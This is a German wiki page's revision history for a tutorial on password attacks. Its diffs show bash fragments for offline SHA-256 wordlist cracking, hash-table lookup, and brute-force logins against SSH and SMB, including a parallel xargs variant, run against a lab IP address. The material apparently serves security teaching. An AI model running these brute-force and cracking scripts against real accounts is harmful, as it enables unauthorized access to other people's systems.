Passwort Angriffe Prinzip - Versionsgeschichte

Thomas.will: /* SMB-Hack */

2026-06-25T06:19:31Z

SMB-Hack

Thomas.will: Thomas.will verschob die Seite Passwort Angriffe Offline Prinzip nach Passwort Angriffe Prinzip

2026-06-25T04:58:33Z

Thomas.will verschob die Seite Passwort Angriffe Offline Prinzip nach Passwort Angriffe Prinzip

Thomas.will: /* Multithread Methode */

2026-06-25T04:57:41Z

Multithread Methode

Thomas.will: /* SMB-Hack */

2026-06-25T04:56:53Z

SMB-Hack

Thomas.will: /* Hash-Tabelle */

2026-06-25T04:53:11Z

Hash-Tabelle

Thomas.will: /* Offline gegen Hash */

2026-06-25T04:52:59Z

Offline gegen Hash

Thomas.will am 25. Juni 2026 um 04:52 Uhr

2026-06-25T04:52:10Z

Thomas.will: /* Hash Tabelle */

2026-06-25T04:50:37Z

Hash Tabelle

Thomas.will: /* ssh hack */

2026-06-25T04:46:17Z

ssh hack

Thomas.will: /* ssh hack */

2026-06-25T04:45:55Z

ssh hack

@@ Zeile 77: / Zeile 77: @@
 while read PW
 do
-  if smbclient -L "//$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
+  if smbclient -L "$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
     then
        echo "Treffer: $USER:$PW"
@@ Zeile 86: / Zeile 86: @@
 *./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
   Treffer: martha:basketball
 =Multithread Methode=
 Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.

@@ Zeile 87: / Zeile 87: @@
   Treffer: martha:basketball
 =Multithread Methode=
-Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet — deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.
+Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.
 *cat ssh-pass-hack-mt.sh

@@ Zeile 85: / Zeile 85: @@
 </syntaxhighlight>
 *./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
   Treffer: martha:basketball

@@ Zeile 21: / Zeile 21: @@
 =Hash-Tabelle=
-Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf — schneller, dafür muss die Tabelle vorher erzeugt werden.
+Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden.
 *wget https://xinux.de/downloads/bad-passwords.hash

@@ Zeile 1: / Zeile 1: @@
 =Offline gegen Hash=
-Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen — langsam, da pro Versuch ein sha256sum läuft.
+Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft.
 *wget https://xinux.de/downloads/bad-passwords

@@ Zeile 1: / Zeile 1: @@
-=Normale Hack=
+=Offline gegen Hash=
 *wget https://xinux.de/downloads/bad-passwords
 *cat pw-crack-offline.sh
 <syntaxhighlight lang="bash">
 #!/bin/bash
@@ Zeile 15: / Zeile 17: @@
 done < $2
 </syntaxhighlight>
-* ./pw-crack-offline.sh  cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
+*./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
   Treffer: whatever
-=Hash Tabelle=
+=Hash-Tabelle=
 *wget https://xinux.de/downloads/bad-passwords.hash
 *cat pw-crack-offline-hash.sh
 <syntaxhighlight lang="bash">
 #!/bin/bash
 HASH=$1
 while read LINE
 do
-  PW_HS=$(echo $LINE | cut -f 2 -d :)
+ PW_HS=$(echo $LINE | cut -f 2 -d :)
-  if [[ $PW_HS == $HASH ]]
+ if [[ $PW_HS == $HASH ]]
     then
       PW=$(echo $LINE | cut -f 1 -d :)
       echo "Treffer: $PW"
      exit
   fi
 done < $2
 </syntaxhighlight>
-*./pw-crack-offline-hash.sh  ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d       bad-passwords.hash
+*./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
   Treffer: lovely
-=ssh hack=
+=SSH-Hack=
 *sudo apt install sshpass
 *cat ssh-pass-hack.sh
@@ Zeile 58: / Zeile 62: @@
 done < "$WORTLISTE"
 </syntaxhighlight>
-./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
+*./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
   Treffer: martha:basketball
-=ssh hack=
 *cat smb-pass-hack.sh
 <syntaxhighlight lang="bash">
@@ Zeile 77: / Zeile 84: @@
 done < "$WORTLISTE"
 </syntaxhighlight>
-./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
+*./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
   Treffer: martha:basketball